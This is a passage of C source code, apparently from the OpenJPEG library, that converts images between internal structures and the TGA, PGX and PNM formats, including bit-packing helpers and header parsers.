0]; OPJ_UINT32 src1 = 0U; OPJ_UINT32 src2 = 0U; OPJ_UINT32 src3 = 0U; OPJ_UINT32 src4 = 0U; OPJ_UINT32 src5 = 0U; OPJ_UINT32 src6 = 0U; length = length & 7U; if (length > 1U) { src1 = (OPJ_UINT32)pSrc[i + 1]; if (length > 2U) { src2 = (OPJ_UINT32)pSrc[i + 2]; if (length > 3U) { src3 = (OPJ_UINT32)pSrc[i + 3]; if (length > 4U) { src4 = (OPJ_UINT32)pSrc[i + 4]; if (length > 5U) { src5 = (OPJ_UINT32)pSrc[i + 5]; if (length > 6U) { src6 = (OPJ_UINT32)pSrc[i + 6]; } } } } } } *pDst++ = (OPJ_BYTE)((src0 << 7) | (src1 << 6) | (src2 << 5) | (src3 << 4) | (src4 << 3) | (src5 << 2) | (src6 << 1)); } } static void convert_32s2u_C1R(const OPJ_INT32* pSrc, OPJ_BYTE* pDst, OPJ_SIZE_T length) { OPJ_SIZE_T i; for (i = 0; i < (length & ~(OPJ_SIZE_T)3U); i += 4U) { OPJ_UINT32 src0 = (OPJ_UINT32)pSrc[i + 0]; OPJ_UINT32 src1 = (OPJ_UINT32)pSrc[i + 1]; OPJ_UINT32 src2 = (OPJ_UINT32)pSrc[i + 2]; OPJ_UINT32 src3 = (OPJ_UINT32)pSrc[i + 3]; *pDst++ = (OPJ_BYTE)((src0 << 6) | (src1 << 4) | (src2 << 2) | src3); } if (length & 3U) { OPJ_UINT32 src0 = (OPJ_UINT32)pSrc[i + 0]; OPJ_UINT32 src1 = 0U; OPJ_UINT32 src2 = 0U; length = length & 3U; if (length > 1U) { src1 = (OPJ_UINT32)pSrc[i + 1]; if (length > 2U) { src2 = (OPJ_UINT32)pSrc[i + 2]; } } *pDst++ = (OPJ_BYTE)((src0 << 6) | (src1 << 4) | (src2 << 2)); } } static void convert_32s4u_C1R(const OPJ_INT32* pSrc, OPJ_BYTE* pDst, OPJ_SIZE_T length) { OPJ_SIZE_T i; for (i = 0; i < (length & ~(OPJ_SIZE_T)1U); i += 2U) { OPJ_UINT32 src0 = (OPJ_UINT32)pSrc[i + 0]; OPJ_UINT32 src1 = (OPJ_UINT32)pSrc[i + 1]; *pDst++ = (OPJ_BYTE)((src0 << 4) | src1); } if (length & 1U) { OPJ_UINT32 src0 = (OPJ_UINT32)pSrc[i + 0]; *pDst++ = (OPJ_BYTE)((src0 << 4)); } } static void convert_32s6u_C1R(const OPJ_INT32* pSrc, OPJ_BYTE* pDst, OPJ_SIZE_T length) { OPJ_SIZE_T i; for (i = 0; i < (length & ~(OPJ_SIZE_T)3U); i += 4U) { OPJ_UINT32 src0 = (OPJ_UINT32)pSrc[i + 0]; OPJ_UINT32 src1 = (OPJ_UINT32)pSrc[i + 1]; OPJ_UINT32 src2 = (OPJ_UINT32)pSrc[i + 2]; OPJ_UINT32 src3 = (OPJ_UINT32)pSrc[i + 3]; *pDst++ = (OPJ_BYTE)((src0 << 2) | (src1 >> 4)); *pDst++ = (OPJ_BYTE)(((src1 & 0xFU) << 4) | (src2 >> 2)); *pDst++ = (OPJ_BYTE)(((src2 & 0x3U) << 6) | src3); } if (length & 3U) { OPJ_UINT32 src0 = (OPJ_UINT32)pSrc[i + 0]; OPJ_UINT32 src1 = 0U; OPJ_UINT32 src2 = 0U; length = length & 3U; if (length > 1U) { src1 = (OPJ_UINT32)pSrc[i + 1]; if (length > 2U) { src2 = (OPJ_UINT32)pSrc[i + 2]; } } *pDst++ = (OPJ_BYTE)((src0 << 2) | (src1 >> 4)); if (length > 1U) { *pDst++ = (OPJ_BYTE)(((src1 & 0xFU) << 4) | (src2 >> 2)); if (length > 2U) { *pDst++ = (OPJ_BYTE)(((src2 & 0x3U) << 6)); } } } } static void convert_32s8u_C1R(const OPJ_INT32* pSrc, OPJ_BYTE* pDst, OPJ_SIZE_T length) { OPJ_SIZE_T i; for (i = 0; i < length; ++i) { pDst[i] = (OPJ_BYTE)pSrc[i]; } } const convert_32sXXx_C1R convert_32sXXu_C1R_LUT[9] = { NULL, convert_32s1u_C1R, convert_32s2u_C1R, NULL, convert_32s4u_C1R, NULL, convert_32s6u_C1R, NULL, convert_32s8u_C1R }; /* -->> -->> -->> -->> TGA IMAGE FORMAT <<-- <<-- <<-- <<-- */ #ifdef INFORMATION_ONLY /* TGA header definition. */ struct tga_header { unsigned char id_length; /* Image id field length */ unsigned char colour_map_type; /* Colour map type */ unsigned char image_type; /* Image type */ /* ** Colour map specification */ unsigned short colour_map_index; /* First entry index */ unsigned short colour_map_length; /* Colour map length */ unsigned char colour_map_entry_size; /* Colour map entry size */ /* ** Image specification */ unsigned short x_origin; /* x origin of image */ unsigned short y_origin; /* u origin of image */ unsigned short image_width; /* Image width */ unsigned short image_height; /* Image height */ unsigned char pixel_depth; /* Pixel depth */ unsigned char image_desc; /* Image descriptor */ }; #endif /* INFORMATION_ONLY */ /* Returns a ushort from a little-endian serialized value */ static unsigned short get_tga_ushort(const unsigned char *data) { return data[0] | (data[1] << 8); } #define TGA_HEADER_SIZE 18 static int tga_readheader(FILE *fp, unsigned int *bits_per_pixel, unsigned int *width, unsigned int *height, int *flip_image) { int palette_size; unsigned char tga[TGA_HEADER_SIZE]; unsigned char id_len, /*cmap_type,*/ image_type; unsigned char pixel_depth, image_desc; unsigned short /*cmap_index,*/ cmap_len, cmap_entry_size; unsigned short /*x_origin, y_origin,*/ image_w, image_h; if (!bits_per_pixel || !width || !height || !flip_image) { return 0; } if (fread(tga, TGA_HEADER_SIZE, 1, fp) != 1) { fprintf(stderr, "\nError: fread return a number of element different from the expected.\n"); return 0 ; } id_len = tga[0]; /*cmap_type = tga[1];*/ image_type = tga[2]; /*cmap_index = get_tga_ushort(&tga[3]);*/ cmap_len = get_tga_ushort(&tga[5]); cmap_entry_size = tga[7]; #if 0 x_origin = get_tga_ushort(&tga[8]); y_origin = get_tga_ushort(&tga[10]); #endif image_w = get_tga_ushort(&tga[12]); image_h = get_tga_ushort(&tga[14]); pixel_depth = tga[16]; image_desc = tga[17]; *bits_per_pixel = (unsigned int)pixel_depth; *width = (unsigned int)image_w; *height = (unsigned int)image_h; /* Ignore tga identifier, if present ... */ if (id_len) { unsigned char *id = (unsigned char *) malloc(id_len); if (id == 0) { fprintf(stderr, "tga_readheader: memory out\n"); return 0; } if (!fread(id, id_len, 1, fp)) { fprintf(stderr, "\nError: fread return a number of element different from the expected.\n"); free(id); return 0 ; } free(id); } /* Test for compressed formats ... not yet supported ... // Note :- 9 - RLE encoded palettized. // 10 - RLE encoded RGB. */ if (image_type > 8) { fprintf(stderr, "Sorry, compressed tga files are not currently supported.\n"); return 0 ; } *flip_image = !(image_desc & 32); /* Palettized formats are not yet supported, skip over the palette, if present ... */ palette_size = cmap_len * (cmap_entry_size / 8); if (palette_size > 0) { fprintf(stderr, "File contains a palette - not yet supported."); fseek(fp, palette_size, SEEK_CUR); } return 1; } #ifdef OPJ_BIG_ENDIAN static INLINE OPJ_UINT16 swap16(OPJ_UINT16 x) { return (OPJ_UINT16)(((x & 0x00ffU) << 8) | ((x & 0xff00U) >> 8)); } #endif static int tga_writeheader(FILE *fp, int bits_per_pixel, int width, int height, OPJ_BOOL flip_image) { OPJ_UINT16 image_w, image_h, us0; unsigned char uc0, image_type; unsigned char pixel_depth, image_desc; if (!bits_per_pixel || !width || !height) { return 0; } pixel_depth = 0; if (bits_per_pixel < 256) { pixel_depth = (unsigned char)bits_per_pixel; } else { fprintf(stderr, "ERROR: Wrong bits per pixel inside tga_header"); return 0; } uc0 = 0; if (fwrite(&uc0, 1, 1, fp) != 1) { goto fails; /* id_length */ } if (fwrite(&uc0, 1, 1, fp) != 1) { goto fails; /* colour_map_type */ } image_type = 2; /* Uncompressed. */ if (fwrite(&image_type, 1, 1, fp) != 1) { goto fails; } us0 = 0; if (fwrite(&us0, 2, 1, fp) != 1) { goto fails; /* colour_map_index */ } if (fwrite(&us0, 2, 1, fp) != 1) { goto fails; /* colour_map_length */ } if (fwrite(&uc0, 1, 1, fp) != 1) { goto fails; /* colour_map_entry_size */ } if (fwrite(&us0, 2, 1, fp) != 1) { goto fails; /* x_origin */ } if (fwrite(&us0, 2, 1, fp) != 1) { goto fails; /* y_origin */ } image_w = (unsigned short)width; image_h = (unsigned short) height; #ifndef OPJ_BIG_ENDIAN if (fwrite(&image_w, 2, 1, fp) != 1) { goto fails; } if (fwrite(&image_h, 2, 1, fp) != 1) { goto fails; } #else image_w = swap16(image_w); image_h = swap16(image_h); if (fwrite(&image_w, 2, 1, fp) != 1) { goto fails; } if (fwrite(&image_h, 2, 1, fp) != 1) { goto fails; } #endif if (fwrite(&pixel_depth, 1, 1, fp) != 1) { goto fails; } image_desc = 8; /* 8 bits per component. */ if (flip_image) { image_desc |= 32; } if (fwrite(&image_desc, 1, 1, fp) != 1) { goto fails; } return 1; fails: fputs("\nwrite_tgaheader: write ERROR\n", stderr); return 0; } opj_image_t* tgatoimage(const char *filename, opj_cparameters_t *parameters) { FILE *f; opj_image_t *image; unsigned int image_width, image_height, pixel_bit_depth; unsigned int x, y; int flip_image = 0; opj_image_cmptparm_t cmptparm[4]; /* maximum 4 components */ int numcomps; OPJ_COLOR_SPACE color_space; OPJ_BOOL mono ; OPJ_BOOL save_alpha; int subsampling_dx, subsampling_dy; int i; f = fopen(filename, "rb"); if (!f) { fprintf(stderr, "Failed to open %s for reading !!\n", filename); return 0; } if (!tga_readheader(f, &pixel_bit_depth, &image_width, &image_height, &flip_image)) { fclose(f); return NULL; } /* We currently only support 24 & 32 bit tga's ... */ if (!((pixel_bit_depth == 24) || (pixel_bit_depth == 32))) { fclose(f); return NULL; } /* initialize image components */ memset(&cmptparm[0], 0, 4 * sizeof(opj_image_cmptparm_t)); mono = (pixel_bit_depth == 8) || (pixel_bit_depth == 16); /* Mono with & without alpha. */ save_alpha = (pixel_bit_depth == 16) || (pixel_bit_depth == 32); /* Mono with alpha, or RGB with alpha */ if (mono) { color_space = OPJ_CLRSPC_GRAY; numcomps = save_alpha ? 2 : 1; } else { numcomps = save_alpha ? 4 : 3; color_space = OPJ_CLRSPC_SRGB; } /* If the declared file size is > 10 MB, check that the file is big */ /* enough to avoid excessive memory allocations */ if (image_height != 0 && image_width > 10000000 / image_height / numcomps) { char ch; OPJ_UINT64 expected_file_size = (OPJ_UINT64)image_width * image_height * numcomps; long curpos = ftell(f); if (expected_file_size > (OPJ_UINT64)INT_MAX) { expected_file_size = (OPJ_UINT64)INT_MAX; } fseek(f, (long)expected_file_size - 1, SEEK_SET); if (fread(&ch, 1, 1, f) != 1) { fclose(f); return NULL; } fseek(f, curpos, SEEK_SET); } subsampling_dx = parameters->subsampling_dx; subsampling_dy = parameters->subsampling_dy; for (i = 0; i < numcomps; i++) { cmptparm[i].prec = 8; cmptparm[i].bpp = 8; cmptparm[i].sgnd = 0; cmptparm[i].dx = (OPJ_UINT32)subsampling_dx; cmptparm[i].dy = (OPJ_UINT32)subsampling_dy; cmptparm[i].w = image_width; cmptparm[i].h = image_height; } /* create the image */ image = opj_image_create((OPJ_UINT32)numcomps, &cmptparm[0], color_space); if (!image) { fclose(f); return NULL; } /* set image offset and reference grid */ image->x0 = (OPJ_UINT32)parameters->image_offset_x0; image->y0 = (OPJ_UINT32)parameters->image_offset_y0; image->x1 = !image->x0 ? (OPJ_UINT32)(image_width - 1) * (OPJ_UINT32)subsampling_dx + 1 : image->x0 + (OPJ_UINT32)(image_width - 1) * (OPJ_UINT32)subsampling_dx + 1; image->y1 = !image->y0 ? (OPJ_UINT32)(image_height - 1) * (OPJ_UINT32)subsampling_dy + 1 : image->y0 + (OPJ_UINT32)(image_height - 1) * (OPJ_UINT32)subsampling_dy + 1; /* set image data */ for (y = 0; y < image_height; y++) { int index; if (flip_image) { index = (int)((image_height - y - 1) * image_width); } else { index = (int)(y * image_width); } if (numcomps == 3) { for (x = 0; x < image_width; x++) { unsigned char r, g, b; if (!fread(&b, 1, 1, f)) { fprintf(stderr, "\nError: fread return a number of element different from the expected.\n"); opj_image_destroy(image); fclose(f); return NULL; } if (!fread(&g, 1, 1, f)) { fprintf(stderr, "\nError: fread return a number of element different from the expected.\n"); opj_image_destroy(image); fclose(f); return NULL; } if (!fread(&r, 1, 1, f)) { fprintf(stderr, "\nError: fread return a number of element different from the expected.\n"); opj_image_destroy(image); fclose(f); return NULL; } image->comps[0].data[index] = r; image->comps[1].data[index] = g; image->comps[2].data[index] = b; index++; } } else if (numcomps == 4) { for (x = 0; x < image_width; x++) { unsigned char r, g, b, a; if (!fread(&b, 1, 1, f)) { fprintf(stderr, "\nError: fread return a number of element different from the expected.\n"); opj_image_destroy(image); fclose(f); return NULL; } if (!fread(&g, 1, 1, f)) { fprintf(stderr, "\nError: fread return a number of element different from the expected.\n"); opj_image_destroy(image); fclose(f); return NULL; } if (!fread(&r, 1, 1, f)) { fprintf(stderr, "\nError: fread return a number of element different from the expected.\n"); opj_image_destroy(image); fclose(f); return NULL; } if (!fread(&a, 1, 1, f)) { fprintf(stderr, "\nError: fread return a number of element different from the expected.\n"); opj_image_destroy(image); fclose(f); return NULL; } image->comps[0].data[index] = r; image->comps[1].data[index] = g; image->comps[2].data[index] = b; image->comps[3].data[index] = a; index++; } } else { fprintf(stderr, "Currently unsupported bit depth : %s\n", filename); } } fclose(f); return image; } int imagetotga(opj_image_t * image, const char *outfile) { int width, height, bpp, x, y; OPJ_BOOL write_alpha; unsigned int i; int adjustR, adjustG = 0, adjustB = 0, fails; unsigned int alpha_channel; float r, g, b, a; unsigned char value; float scale; FILE *fdest; size_t res; fails = 1; fdest = fopen(outfile, "wb"); if (!fdest) { fprintf(stderr, "ERROR -> failed to open %s for writing\n", outfile); return 1; } for (i = 0; i < image->numcomps - 1; i++) { if ((image->comps[0].dx != image->comps[i + 1].dx) || (image->comps[0].dy != image->comps[i + 1].dy) || (image->comps[0].prec != image->comps[i + 1].prec) || (image->comps[0].sgnd != image->comps[i + 1].sgnd)) { fclose(fdest); fprintf(stderr, "Unable to create a tga file with such J2K image charateristics.\n"); return 1; } } width = (int)image->comps[0].w; height = (int)image->comps[0].h; /* Mono with alpha, or RGB with alpha. */ write_alpha = (image->numcomps == 2) || (image->numcomps == 4); /* Write TGA header */ bpp = write_alpha ? 32 : 24; if (!tga_writeheader(fdest, bpp, width, height, OPJ_TRUE)) { goto fin; } alpha_channel = image->numcomps - 1; scale = 255.0f / (float)((1 << image->comps[0].prec) - 1); adjustR = (image->comps[0].sgnd ? 1 << (image->comps[0].prec - 1) : 0); if (image->numcomps >= 3) { adjustG = (image->comps[1].sgnd ? 1 << (image->comps[1].prec - 1) : 0); adjustB = (image->comps[2].sgnd ? 1 << (image->comps[2].prec - 1) : 0); } for (y = 0; y < height; y++) { unsigned int index = (unsigned int)(y * width); for (x = 0; x < width; x++, index++) { r = (float)(image->comps[0].data[index] + adjustR); if (image->numcomps > 2) { g = (float)(image->comps[1].data[index] + adjustG); b = (float)(image->comps[2].data[index] + adjustB); } else { /* Greyscale ... */ g = r; b = r; } /* TGA format writes BGR ... */ if (b > 255.) { b = 255.; } else if (b < 0.) { b = 0.; } value = (unsigned char)(b * scale); res = fwrite(&value, 1, 1, fdest); if (res < 1) { fprintf(stderr, "failed to write 1 byte for %s\n", outfile); goto fin; } if (g > 255.) { g = 255.; } else if (g < 0.) { g = 0.; } value = (unsigned char)(g * scale); res = fwrite(&value, 1, 1, fdest); if (res < 1) { fprintf(stderr, "failed to write 1 byte for %s\n", outfile); goto fin; } if (r > 255.) { r = 255.; } else if (r < 0.) { r = 0.; } value = (unsigned char)(r * scale); res = fwrite(&value, 1, 1, fdest); if (res < 1) { fprintf(stderr, "failed to write 1 byte for %s\n", outfile); goto fin; } if (write_alpha) { a = (float)(image->comps[alpha_channel].data[index]); if (a > 255.) { a = 255.; } else if (a < 0.) { a = 0.; } value = (unsigned char)(a * scale); res = fwrite(&value, 1, 1, fdest); if (res < 1) { fprintf(stderr, "failed to write 1 byte for %s\n", outfile); goto fin; } } } } fails = 0; fin: fclose(fdest); return fails; } /* -->> -->> -->> -->> PGX IMAGE FORMAT <<-- <<-- <<-- <<-- */ static unsigned char readuchar(FILE * f) { unsigned char c1; if (!fread(&c1, 1, 1, f)) { fprintf(stderr, "\nError: fread return a number of element different from the expected.\n"); return 0; } return c1; } static unsigned short readushort(FILE * f, int bigendian) { unsigned char c1, c2; if (!fread(&c1, 1, 1, f)) { fprintf(stderr, "\nError: fread return a number of element different from the expected.\n"); return 0; } if (!fread(&c2, 1, 1, f)) { fprintf(stderr, "\nError: fread return a number of element different from the expected.\n"); return 0; } if (bigendian) { return (unsigned short)((c1 << 8) + c2); } else { return (unsigned short)((c2 << 8) + c1); } } static unsigned int readuint(FILE * f, int bigendian) { unsigned char c1, c2, c3, c4; if (!fread(&c1, 1, 1, f)) { fprintf(stderr, "\nError: fread return a number of element different from the expected.\n"); return 0; } if (!fread(&c2, 1, 1, f)) { fprintf(stderr, "\nError: fread return a number of element different from the expected.\n"); return 0; } if (!fread(&c3, 1, 1, f)) { fprintf(stderr, "\nError: fread return a number of element different from the expected.\n"); return 0; } if (!fread(&c4, 1, 1, f)) { fprintf(stderr, "\nError: fread return a number of element different from the expected.\n"); return 0; } if (bigendian) { return (unsigned int)(c1 << 24) + (unsigned int)(c2 << 16) + (unsigned int)( c3 << 8) + c4; } else { return (unsigned int)(c4 << 24) + (unsigned int)(c3 << 16) + (unsigned int)( c2 << 8) + c1; } } opj_image_t* pgxtoimage(const char *filename, opj_cparameters_t *parameters) { FILE *f = NULL; int w, h, prec; int i, numcomps, max; OPJ_COLOR_SPACE color_space; opj_image_cmptparm_t cmptparm; /* maximum of 1 component */ opj_image_t * image = NULL; int adjustS, ushift, dshift, force8; char endian1, endian2, sign; char signtmp[32]; char temp[32]; int bigendian; opj_image_comp_t *comp = NULL; numcomps = 1; color_space = OPJ_CLRSPC_GRAY; memset(&cmptparm, 0, sizeof(opj_image_cmptparm_t)); max = 0; f = fopen(filename, "rb"); if (!f) { fprintf(stderr, "Failed to open %s for reading !\n", filename); return NULL; } fseek(f, 0, SEEK_SET); if (fscanf(f, "PG%[ \t]%c%c%[ \t+-]%d%[ \t]%d%[ \t]%d", temp, &endian1, &endian2, signtmp, &prec, temp, &w, temp, &h) != 9) { fclose(f); fprintf(stderr, "ERROR: Failed to read the right number of element from the fscanf() function!\n"); return NULL; } i = 0; sign = '+'; while (signtmp[i] != '\0') { if (signtmp[i] == '-') { sign = '-'; } i++; } fgetc(f); if (endian1 == 'M' && endian2 == 'L') { bigendian = 1; } else if (endian2 == 'M' && endian1 == 'L') { bigendian = 0; } else { fclose(f); fprintf(stderr, "Bad pgx header, please check input file\n"); return NULL; } /* initialize image component */ cmptparm.x0 = (OPJ_UINT32)parameters->image_offset_x0; cmptparm.y0 = (OPJ_UINT32)parameters->image_offset_y0; cmptparm.w = !cmptparm.x0 ? (OPJ_UINT32)((w - 1) * parameters->subsampling_dx + 1) : cmptparm.x0 + (OPJ_UINT32)(w - 1) * (OPJ_UINT32)parameters->subsampling_dx + 1; cmptparm.h = !cmptparm.y0 ? (OPJ_UINT32)((h - 1) * parameters->subsampling_dy + 1) : cmptparm.y0 + (OPJ_UINT32)(h - 1) * (OPJ_UINT32)parameters->subsampling_dy + 1; if (sign == '-') { cmptparm.sgnd = 1; } else { cmptparm.sgnd = 0; } if (prec < 8) { force8 = 1; ushift = 8 - prec; dshift = prec - ushift; if (cmptparm.sgnd) { adjustS = (1 << (prec - 1)); } else { adjustS = 0; } cmptparm.sgnd = 0; prec = 8; } else { ushift = dshift = force8 = adjustS = 0; } cmptparm.prec = (OPJ_UINT32)prec; cmptparm.bpp = (OPJ_UINT32)prec; cmptparm.dx = (OPJ_UINT32)parameters->subsampling_dx; cmptparm.dy = (OPJ_UINT32)parameters->subsampling_dy; /* create the image */ image = opj_image_create((OPJ_UINT32)numcomps, &cmptparm, color_space); if (!image) { fclose(f); return NULL; } /* set image offset and reference grid */ image->x0 = cmptparm.x0; image->y0 = cmptparm.x0; image->x1 = cmptparm.w; image->y1 = cmptparm.h; /* set image data */ comp = &image->comps[0]; for (i = 0; i < w * h; i++) { int v; if (force8) { v = readuchar(f) + adjustS; v = (v << ushift) + (v >> dshift); comp->data[i] = (unsigned char)v; if (v > max) { max = v; } continue; } if (comp->prec == 8) { if (!comp->sgnd) { v = readuchar(f); } else { v = (char) readuchar(f); } } else if (comp->prec <= 16) { if (!comp->sgnd) { v = readushort(f, bigendian); } else { v = (short) readushort(f, bigendian); } } else { if (!comp->sgnd) { v = (int)readuint(f, bigendian); } else { v = (int) readuint(f, bigendian); } } if (v > max) { max = v; } comp->data[i] = v; } fclose(f); comp->bpp = (OPJ_UINT32)int_floorlog2(max) + 1; return image; } #define CLAMP(x,a,b) x < a ? a : (x > b ? b : x) static INLINE int clamp(const int value, const int prec, const int sgnd) { if (sgnd) { if (prec <= 8) { return CLAMP(value, -128, 127); } else if (prec <= 16) { return CLAMP(value, -32768, 32767); } else { return CLAMP(value, -2147483647 - 1, 2147483647); } } else { if (prec <= 8) { return CLAMP(value, 0, 255); } else if (prec <= 16) { return CLAMP(value, 0, 65535); } else { return value; /*CLAMP(value,0,4294967295);*/ } } } int imagetopgx(opj_image_t * image, const char *outfile) { int w, h; int i, j, fails = 1; unsigned int compno; FILE *fdest = NULL; for (compno = 0; compno < image->numcomps; compno++) { opj_image_comp_t *comp = &image->comps[compno]; char bname[256]; /* buffer for name */ char *name = bname; /* pointer */ int nbytes = 0; size_t res; const size_t olen = strlen(outfile); const size_t dotpos = olen - 4; const size_t total = dotpos + 1 + 1 + 4; /* '-' + '[1-3]' + '.pgx' */ if (outfile[dotpos] != '.') { /* `pgx` was recognized but there is no dot at expected position */ fprintf(stderr, "ERROR -> Impossible happen."); goto fin; } if (total > 256) { name = (char*)malloc(total + 1); if (name == NULL) { fprintf(stderr, "imagetopgx: memory out\n"); goto fin; } } strncpy(name, outfile, dotpos); sprintf(name + dotpos, "_%u.pgx", compno); fdest = fopen(name, "wb"); /* don't need name anymore */ if (!fdest) { fprintf(stderr, "ERROR -> failed to open %s for writing\n", name); if (total > 256) { free(name); } goto fin; } w = (int)image->comps[compno].w; h = (int)image->comps[compno].h; fprintf(fdest, "PG ML %c %d %d %d\n", comp->sgnd ? '-' : '+', comp->prec, w, h); if (comp->prec <= 8) { nbytes = 1; } else if (comp->prec <= 16) { nbytes = 2; } else { nbytes = 4; } for (i = 0; i < w * h; i++) { /* FIXME: clamp func is being called within a loop */ const int val = clamp(image->comps[compno].data[i], (int)comp->prec, (int)comp->sgnd); for (j = nbytes - 1; j >= 0; j--) { int v = (int)(val >> (j * 8)); unsigned char byte = (unsigned char)v; res = fwrite(&byte, 1, 1, fdest); if (res < 1) { fprintf(stderr, "failed to write 1 byte for %s\n", name); if (total > 256) { free(name); } goto fin; } } } if (total > 256) { free(name); } fclose(fdest); fdest = NULL; } fails = 0; fin: if (fdest) { fclose(fdest); } return fails; } /* -->> -->> -->> -->> PNM IMAGE FORMAT <<-- <<-- <<-- <<-- */ struct pnm_header { int width, height, maxval, depth, format; char rgb, rgba, gray, graya, bw; char ok; }; static char *skip_white(char *s) { if (s != NULL) { while (*s) { if (*s == '\n' || *s == '\r') { return NULL; } if (isspace(*s)) { ++s; continue; } return s; } } return NULL; } static char *skip_int(char *start, int *out_n) { char *s; char c; *out_n = 0; s = skip_white(start); if (s == NULL) { return NULL; } start = s; while (*s) { if (!isdigit(*s)) { break; } ++s; } c = *s; *s = 0; *out_n = atoi(start); *s = c; return s; } static char *skip_idf(char *start, char out_idf[256]) { char *s; char c; s = skip_white(start); if (s == NULL) { return NULL; } start = s; while (*s) { if (isalpha(*s) || *s == '_') { ++s; continue; } break; } c = *s; *s = 0; strncpy(out_idf, start, 255); *s = c; return s; } static void read_pnm_header(FILE *reader, struct pnm_header *ph) { int format, end, ttype; char idf[256], type[256]; char line[256]; if (fgets(line, 250, reader) == NULL) { fprintf(stderr, "\nWARNING: fgets return a NULL value"); return; } if (line[0] != 'P') { fprintf(stderr, "read_pnm_header:PNM:magic P missing\n"); return; } format = atoi(line + 1); if (format < 1 || format > 7) { fprintf(stderr, "read_pnm_header:magic format %d invalid\n", format); return; } ph->format = format; ttype = end = 0; while (fgets(line, 250, reader)) { char *s; int allow_null = 0; if (*line == '#') { continue; } s = line; if (format == 7) { s = skip_idf(s, idf); if (s == NULL || *s == 0) { return; } if (strcmp(idf, "ENDHDR") == 0) { end = 1; break; } if (strcmp(idf, "WIDTH") == 0) { s = skip_int(s, &ph->width); if (s == NULL || *s == 0) { return; } continue; } if (strcmp(idf, "HEIGHT") == 0) { s = skip_int(s, &ph->height); if (s == NULL || *s == 0) { return; } continue; } if (strcmp(idf, "DEPTH") == 0) { s = skip_int(s, &ph->depth); if (s == NULL || *s == 0) { return; } continue; } if (strcmp(idf, "MAXVAL") == 0) { s = skip_int(s, &ph->maxval); if (s == NULL || *s == 0) { return; } continue; } if (strcmp(idf, "TUPLTYPE") == 0) { s = skip_idf(s, type); if (s == NULL || *s == 0) { return; } if (strcmp(type, "BLACKANDWHITE") == 0) { ph->bw = 1; ttype = 1; continue; } if (strcmp(type, "GRAYSCALE") == 0) { ph->gray = 1; ttype = 1; continue; } if (strcmp(type, "GRAYSCALE_ALPHA") == 0) { ph->graya = 1; ttype = 1; continue; } if (strcmp(type, "RGB") == 0) { ph->rgb = 1; ttype = 1; continue; } if (strcmp(type, "RGB_ALPHA") == 0) { ph->rgba = 1; ttype = 1; continue; } fprintf(stderr, "read_pnm_header:unknown P7 TUPLTYPE %s\n", type); return; } fprintf(stderr, "read_pnm_header:unknown P7 idf %s\n", idf); return; } /* if(format == 7) */ /* Here format is in range [1,6] */ if (ph->width == 0) { s = skip_int(s, &ph->width); if ((s == NULL) || (*s == 0) || (ph->width < 1)) { return; } allow_null = 1; } if (ph->height == 0) { s = skip_int(s, &ph->height); if ((s == NULL) && allow_null) { continue; } if ((s == NULL) || (*s == 0) || (ph->height < 1)) { return; } if (format == 1 || format == 4) { break; } allow_null = 1; } /* here, format is in P2, P3, P5, P6 */ s = skip_int(s, &ph->maxval); if ((s == NULL) && allow_null) { continue; } if ((s == NULL) || (*s == 0)) { return; } break; }/* while(fgets( ) */ if (format == 2 || format == 3 || format > 4) { if (ph->maxval < 1 || ph->maxval > 65535) { return; } } if (ph->width < 1 || ph->height < 1) { return; } if (format == 7) { if (!end) { fprintf(stderr, "read_pnm_header:P7 without ENDHDR\n"); return; } if (ph->depth < 1 || ph->depth > 4) { return; } if (ttype) { ph->ok = 1; } } else { ph->ok = 1; if (format == 1 || format == 4) { ph->maxval = 255; } } } static int has_prec(int val) { if (val < 2) { return 1; } if (val < 4) { return 2; } if (val < 8) { return 3; } if (val < 16) { return 4; } if (val < 32) { return 5; } if (val < 64) { return 6; } if (val < 128) { return 7; } if (val < 256) { return 8; } if (val < 512) { return 9; } if (val < 1024) { return 10; } if (val < 2048) { return 11; } if (val < 4096) { return 12; } if (val < 8192) { return 13; } if (val < 16384) { return 14; } if (val < 32768) { return 15; } return 16; } opj_image_t* pnmtoimage(const char *filename, opj_cparameters_t *parameters) { int subsampling_dx = parameters->subsampling_dx; int subsampling_dy = parameters->subsampling_dy; FILE *fp = NULL; int i, compno, numcomps, w, h, prec, format; OPJ_COLOR_SPACE color_space; opj_image_cmptparm_t cmptparm[4]; /* RGBA: max. 4 components */ opj_image_t * image = NULL; struct pnm_header header_info; if ((fp = fopen(filename, "rb")) == NULL) { fprintf(stderr, "pnmtoimage:Failed to open %s for reading!\n", filename); return NULL; } memset(&header_info, 0, sizeof(struct pnm_header)); read_pnm_header(fp, &header_info); if (!header_info.ok) { fclose(fp); return NULL; } /* This limitation could be removed by making sure to use size_t below */ if (header_info.height != 0 && header_info.width > INT_MAX / header_info.height) { fprintf(stderr, "pnmtoimage:Image %dx%d too big!\n", header_info.width, header_info.height); fclose(fp); return NULL; } format = header_info.format; switch (format) { case 1: /* ascii bitmap */ case 4: /* raw bitmap */ numcomps = 1; break; case 2: /* ascii greymap */ case 5: /* raw greymap */ numcomps = 1; break; case 3: /* ascii pixmap */ case 6: /* raw pixmap */ numcomps = 3; break; case 7: /* arbitrary map */ numcomps = header_info.depth; break; default: fclose(fp); return NULL; } if (numcomps < 3) { color_space = OPJ_CLRSPC_GRAY; /* GRAY, GRAYA */ } else { color_space = OPJ_CLRSPC_SRGB; /* RGB, RGBA */ } prec = has_prec(header_info.maxval); if (prec < 8) { prec = 8; } w = header_info.width; h = header_info.height; subsampling_dx = parameters->subsampling_dx; subsampling_dy = parameters->subsampling_dy; memset(&cmptparm[0], 0, (size_t)numcomps * sizeof(opj_image_cmptparm_t)); for (i = 0; i < numcomps; i++) { cmptparm[i].prec = (OPJ_UINT32)prec; cmptparm[i].bpp = (OPJ_UINT32)prec; cmptparm[i].sgnd = 0; cmptparm[i].dx = (OPJ_UINT32)subsampling_dx; cmptparm[i].dy = (OPJ_UINT32)subsampling_dy; cmptparm[i].w = (OPJ_UINT32)w; cmptparm[i].h = (OPJ_UINT32)h; } image = opj_image_create((OPJ_UINT32)numcomps, &cmptparm[0], color_space); if (!image) { fclose(fp); return NULL; } /* set image offset and reference grid */ image->x0 = (OPJ_UINT32)parameters->image_offset_x0; image->y0 = (OPJ_UINT32)parameters->image_offset_y0; image->x1 = (OPJ_UINT32)(parameters->image_offset_x0 + (w - 1) * subsampling_dx + 1); image->y1 = (OPJ_UINT32)(parameters->image_offset_y0 + (h - 1) * subsampling_dy + 1); if ((format == 2) || (format == 3)) { /* ascii pixmap */ unsigned int index; for (i = 0; i < w * h; i++) { for (compno = 0; compno < numcomps; compno++) { index = 0; if (fscanf(fp, "%u", &index) != 1) 